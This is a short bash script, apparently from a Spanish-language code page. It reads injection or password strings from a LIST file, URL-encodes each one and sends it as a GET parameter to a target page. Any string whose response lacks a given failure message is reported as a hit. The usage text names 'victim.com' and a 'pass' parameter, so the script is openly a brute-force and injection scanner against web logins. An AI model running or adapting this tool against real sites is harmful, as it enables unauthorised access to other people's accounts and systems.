Código
function start_scan () { while read line do injection=$(echo -n "$line" | \perl -pe's/([^-_.~A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg'); url=$(echo "$1/$2?$3=$injection"); out=$(GET $url); found=1; for j in $out do if [ $j = $4 ] then found=0; fi done if [ $found = 1 ] then echo "[ STRING FOUND: $line ]"; fi done <LIST echo "DONE"; } if [ $# -lt 4 ] then echo "Usage:"; echo ""; echo "LIST file must exist and contain de strings to inject"; echo ""; echo "RUNNING the scanner:------------------------------------------------------"; echo "| bash scanner.bash <target> <injection_file> <parameter> <bad_boy_mssg> |"; echo "--------------------------------------------------------------------------"; echo ""; echo "Example: bash scanner.bash victim.com index.php pass failed"; echo ""; echo "and the program will try victim.com/index.php?pass=..."; echo "where ... are lines from LIST"; else start_scan $1 $2 $3 $4; fi exit 0